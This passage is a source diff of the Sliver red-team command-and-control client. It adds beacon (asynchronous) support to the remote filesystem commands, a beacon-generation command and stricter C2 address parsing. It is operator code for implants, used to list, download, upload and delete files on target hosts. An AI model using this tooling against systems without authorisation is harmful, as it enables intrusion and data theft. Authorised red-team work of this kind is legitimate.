-	// 	err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
-	// 	if err != nil {
-	// 		con.PrintErrorf("Failed to save output as loot: %s", err)
-	// 	} else {
-	// 		fmt.Printf(clearln + Info + "Output saved as loot\n")
-	// 	}
-	// }
 }
 
 func colorize(f *sliverpb.Download) error {

client/command/filesystem/cd.go

@@ -22,26 +22,40 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // CdCmd - Change directory on the remote system
 func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 	filePath := ctx.Args.String("path")
 
 	pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
 	} else {
-		con.PrintInfof("%s\n", pwd.Path)
+		PrintPwd(pwd, con)
 	}
 }

client/command/filesystem/download.go

@@ -27,16 +27,18 @@ import (
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // DownloadCmd - Download a file from the remote system
 func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		dst = path.Join(dst, fileName)
 	}
 
-	if _, err := os.Stat(dst); err == nil {
-		overwrite := false
-		prompt := &survey.Confirm{Message: "Overwrite local file?"}
-		survey.AskOne(prompt, &overwrite, nil)
-		if !overwrite {
-			return
-		}
-	}
-
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
 	})
 	ctrl <- true
@@ -76,7 +69,50 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintDownload(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintDownload(download, ctx, con)
+	}
+}
 
+// PrintDownload - Print the download response, and save file to disk
+func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
+	if _, err := os.Stat(dst); err == nil {
+		overwrite := false
+		prompt := &survey.Confirm{Message: "Overwrite local file?"}
+		survey.AskOne(prompt, &overwrite, nil)
+		if !overwrite {
+			return
+		}
+	}
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
@@ -96,13 +132,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	} else {
 		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
 	}
-
-	// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
-	// 	err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
-	// 	if err != nil {
-	// 		con.PrintErrorf("Failed to save output as loot: %s", err)
-	// 	} else {
-	// 		fmt.Printf(Info + "Output saved as loot\n")
-	// 	}
-	// }
 }

client/command/filesystem/ls.go

@@ -22,48 +22,179 @@ import (
 	"bytes"
 	"context"
 	"fmt"
+	"path/filepath"
+	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // LsCmd - List the contents of a remote directory
 func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
 	remotePath := ctx.Args.String("path")
+	filter := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if remotePath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(remotePath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurrence == -1 {
+			// Then this is only a filter
+			filter = remotePath
+			remotePath = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+
+			// The indicies should be the same because we did not change the length of the string
+			baseDir := remotePath[:lastSeparatorOccurrence+1]
+			potentialFilter := remotePath[lastSeparatorOccurrence+1:]
+
+			_, err := filepath.Match(potentialFilter, "")
+
+			if err == nil {
+				// Then we have a filter on the end of the path
+				remotePath = baseDir
+				filter = potentialFilter
+			}
+		}
+	}
 
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
 	})
 	if err != nil {
 		con.PrintWarnf("%s\n", err)
+		return
+	}
+	if ls.Response != nil && ls.Response.Async {
+		con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, ls)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintLs(ls, ctx.Flags, filter, con)
+		})
+		con.PrintAsyncResponse(ls.Response)
 	} else {
-		PrintLs(ls, con)
+		PrintLs(ls, ctx.Flags, filter, con)
 	}
 }
 
 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
+func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
+	if ls.Response != nil && ls.Response.Err != "" {
+		con.PrintErrorf("%s\n", ls.Response.Err)
+		return
+	}
+
 	con.Printf("%s\n", ls.Path)
 	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-	for _, fileInfo := range ls.Files {
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
+
+	// Extract the flags
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")
+
+	/*
+		By default, name sorting is case sensitive.  Upper case entries come before
+		lower case ones.  Instead, we will level the playing field and sort
+		regardless of case
+	*/
+	if reverseSort {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
+		})
+	} else {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
+		})
+	}
+
+	/*
+		After names are sorted properly, take care of the modified time if the
+		user wants to sort by time.  Doing this after sorting by name
+		will make the time sorted entries properly sorted by name if times are equal.
+	*/
+
+	if sortByTime {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime > ls.Files[j].ModTime
+			})
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime < ls.Files[j].ModTime
+			})
+		}
+	} else if sortBySize {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size > ls.Files[j].Size
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size < ls.Files[j].Size
+			})
+		}
+	}
+
+	for _, fileInfo := range ls.Files {
+		if filter != "" {
+			fileMatch, err := filepath.Match(filter, fileInfo.Name)
+
+			if err != nil {
+				/*
+					This should not happen because we checked the filter
+					before reaching out to the implant.
+				*/
+				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
+				break
+			}
+
+			if !fileMatch {
+				continue
+			}
+		}
+
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}
 	}
 	table.Flush()

client/command/filesystem/mkdir.go

@@ -22,15 +22,17 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // MkdirCmd - Make a remote directory
 func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -42,12 +44,33 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if mkdir.Response != nil && mkdir.Response.Async {
+		con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, mkdir)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMkdir(mkdir, con)
+		})
+		con.PrintAsyncResponse(mkdir.Response)
 	} else {
-		con.PrintInfof("%s\n", mkdir.Path)
+		PrintMkdir(mkdir, con)
 	}
 }
+
+// PrintMkdir - Print make directory
+func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
+	if mkdir.Response != nil && mkdir.Response.Err != "" {
+		con.PrintErrorf("%s\n", mkdir.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", mkdir.Path)
+}

client/command/filesystem/pwd.go

@@ -22,24 +22,46 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // PwdCmd - Print the remote working directory
 func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-
 	pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
 	} else {
-		con.PrintInfof("%s\n", pwd.Path)
+		PrintPwd(pwd, con)
 	}
 }
+
+// PrintPwd - Print the remote working directory
+func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
+	if pwd.Response != nil && pwd.Response.Err != "" {
+		con.PrintErrorf("%s\n", pwd.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", pwd.Path)
+}

client/command/filesystem/rm.go

@@ -22,15 +22,17 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // RmCmd - Remove a directory from the remote file system
 func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -42,14 +44,35 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
-		Request:   con.ActiveSession.Request(ctx),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      filePath,
 		Recursive: ctx.Flags.Bool("recursive"),
 		Force:     ctx.Flags.Bool("force"),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if rm.Response != nil && rm.Response.Async {
+		con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, rm)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintRm(rm, con)
+		})
+		con.PrintAsyncResponse(rm.Response)
 	} else {
-		con.PrintInfof("%s\n", rm.Path)
+		PrintRm(rm, con)
 	}
 }
+
+// PrintRm - Print the rm response
+func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
+	if rm.Response != nil && rm.Response.Err != "" {
+		con.PrintErrorf("%s\n", rm.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", rm.Path)
+}

client/command/filesystem/upload.go

@@ -26,16 +26,18 @@ import (
 	"path/filepath"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // UploadCmd - Upload a file to the remote system
 func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -67,7 +69,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
 	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    dst,
 		Data:    uploadGzip,
 		Encoder: "gzip",
@@ -77,7 +79,28 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if upload.Response != nil && upload.Response.Async {
+		con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, upload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUpload(upload, con)
+		})
+		con.PrintAsyncResponse(upload.Response)
 	} else {
-		con.PrintInfof("Wrote file to %s\n", upload.Path)
+		PrintUpload(upload, con)
 	}
 }
+
+// PrintUpload - Print the result of the upload command
+func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
+	if upload.Response != nil && upload.Response.Err != "" {
+		con.PrintErrorf("%s\n", upload.Response.Err)
+		return
+	}
+	con.PrintInfof("Wrote file to %s\n", upload.Path)
+}

client/command/generate/canaries.go

@@ -1,16 +1,15 @@
 package generate
 
 import (
-	"bytes"
 	"context"
 	"fmt"
-	"strings"
-	"text/tabwriter"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // CanariesCmd - Display canaries from the database and their status
@@ -21,56 +20,45 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if 0 < len(canaries.Canaries) {
-		displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
+		PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
 	} else {
 		con.PrintInfof("No canaries in database\n")
 	}
 }
 
-func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Sliver Name")),
-		strings.Repeat("=", len("Domain")),
-		strings.Repeat("=", len("Triggered")),
-		strings.Repeat("=", len("First Trigger")),
-		strings.Repeat("=", len("Latest Trigger")),
-	)
-
-	lineColors := []string{}
+// PrintCanaries - Print the canaries tracked by the server
+func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Sliver Name",
+		"Domain",
+		"Triggered",
+		"First Trigger",
+		"Latest Trigger",
+	})
 	for _, canary := range canaries {
 		if burnedOnly && !canary.Triggered {
 			continue
 		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-			canary.ImplantName,
-			canary.Domain,
-			fmt.Sprintf("%v", canary.Triggered),
-			canary.FirstTriggered,
-			canary.LatestTrigger,
-		)
+		lineColor := console.Normal
 		if canary.Triggered {
-			lineColors = append(lineColors, console.Bold+console.Red)
-		} else {
-			lineColors = append(lineColors, console.Normal)
-		}
-	}
-	table.Flush()
-
-	for index, line := range strings.Split(outputBuf.String(), "\n") {
-		if len(line) == 0 {
-			continue
-		}
-		// We need to account for the two rows of column headers
-		if 0 < len(line) && 2 <= index {
-			lineColor := lineColors[index-2]
-			con.Printf("%s%s%s\n", lineColor, line, console.Normal)
-		} else {
-			con.Printf("%s\n", line)
+			lineColor = console.Bold + console.Red
 		}
+		firstTrigger := "Never"
+		latestTrigger := "Never"
+		if canary.Triggered {
+			firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
+			latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
+		}
+		row := table.Row{
+			fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
+			fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
+			fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
+			firstTrigger,
+			latestTrigger,
+		}
+		tw.AppendRow(row)
 	}
+	con.Printf("%s\n", tw.Render())
 }

client/command/generate/generate-beacon.go

@@ -0,0 +1,48 @@
+package generate
+
+import (
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	minBeaconInterval         = 5 * time.Second
+	ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
+)
+
+// GenerateBeaconCmd - The main command used to generate implant binaries
+func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	config.IsBeacon = true
+	err := parseBeaconFlags(ctx, con, config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	compile(config, save, con)
+}
+
+func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
+	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
+	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
+	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
+	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+	if interval < minBeaconInterval {
+		return ErrBeaconIntervalTooShort
+	}
+	config.BeaconInterval = int64(interval)
+	config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
+	return nil
+}

client/command/generate/generate.go

@@ -62,8 +62,8 @@ const (
 
 	// DefaultReconnect is the default reconnect time
 	DefaultReconnect = 60
-	// DefaultPoll is the default poll interval
-	DefaultPoll = 1
+	// DefaultPollTimeout is the default poll timeout
+	DefaultPollTimeout = 360 // 6 minutes
 	// DefaultMaxErrors is the default max reconnection errors before giving up
 	DefaultMaxErrors = 1000
 )
@@ -82,31 +82,6 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
-
-	// validFormats = []string{
-	// 	"bash",
-	// 	"c",
-	// 	"csharp",
-	// 	"dw",
-	// 	"dword",
-	// 	"hex",
-	// 	"java",
-	// 	"js_be",
-	// 	"js_le",
-	// 	"num",
-	// 	"perl",
-	// 	"pl",
-	// 	"powershell",
-	// 	"ps1",
-	// 	"py",
-	// 	"python",
-	// 	"raw",
-	// 	"rb",
-	// 	"ruby",
-	// 	"sh",
-	// 	"vbapplication",
-	// 	"vbscript",
-	// }
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -122,11 +97,21 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	compile(config, save, con)
 }
 
+func expandPath(path string) string {
+	// unless path starts with ~
+	if len(path) == 0 || path[0] != 126 {
+		return path
+	}
+
+	return filepath.Join(os.Getenv("HOME"), path[1:])
+}
+
 func saveLocation(save, DefaultName string) (string, error) {
 	var saveTo string
 	if save == "" {
 		save, _ = os.Getwd()
 	}
+	save = expandPath(save)
 	fi, err := os.Stat(save)
 	if os.IsNotExist(err) {
 		log.Printf("%s does not exist\n", save)
@@ -193,22 +178,46 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 
 	c2s := []*clientpb.ImplantC2{}
 
-	mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
+	mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
 	c2s = append(c2s, mtlsC2...)
 
-	wgC2 := parseWGc2(ctx.Flags.String("wg"))
+	wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
 	c2s = append(c2s, wgC2...)
 
-	httpC2 := parseHTTPc2(ctx.Flags.String("http"))
+	httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
 	c2s = append(c2s, httpC2...)
 
-	dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
+	dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
 	c2s = append(c2s, dnsC2...)
 
-	namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
+	namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
 	c2s = append(c2s, namedPipeC2...)
 
-	tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
+	tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
 	c2s = append(c2s, tcpPivotC2...)
 
 	var symbolObfuscation bool
@@ -235,7 +244,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	}
 
 	reconnectInterval := ctx.Flags.Int("reconnect")
-	pollInterval := ctx.Flags.Int("poll")
+	pollTimeout := ctx.Flags.Int("poll-timeout")
 	maxConnectionErrors := ctx.Flags.Int("max-errors")
 
 	limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -308,8 +317,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
 		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),
 
-		ReconnectInterval:   uint32(reconnectInterval),
-		PollInterval:        uint32(pollInterval),
+		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
+		PollTimeout:         int64(pollTimeout) * int64(time.Second),
 		MaxConnectionErrors: uint32(maxConnectionErrors),
 
 		LimitDomainJoined: limitDomainJoined,
@@ -349,11 +358,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
 
 	target := fmt.Sprintf("%s/%s", targetOS, targetArch)
 	if _, ok := SupportedCompilerTargets[target]; !ok {
-		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
+		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
 			console.Bold, target, console.Normal,
 		)
-		con.Printf("⚠️  Default implants do not support all commands/features.\n")
-		prompt := &survey.Confirm{Message: "Compile a Default build?"}
+		con.Printf("⚠️  Generic implants do not support all commands/features.\n")
+		prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
 		var confirm bool
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
@@ -364,49 +373,75 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
 	return targetOS, targetArch
 }
 
-func parseMTLSc2(args string) []*clientpb.ImplantC2 {
+// ParseMTLSc2 - Parse mtls connection string arg
+func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s
-	}
-	for index, arg := range strings.Split(args, ",") {
-		uri := url.URL{Scheme: "mtls"}
-		uri.Host = arg
-		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
-		}
-		c2s = append(c2s, &clientpb.ImplantC2{
-			Priority: uint32(index),
-			URL:      uri.String(),
-		})
-	}
-	return c2s
-}
-
-func parseWGc2(args string) []*clientpb.ImplantC2 {
-	c2s := []*clientpb.ImplantC2{}
-	if args == "" {
-		return c2s
+		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
-		uri := url.URL{Scheme: "wg"}
-		uri.Host = arg
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "mtls://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
 		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
+			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
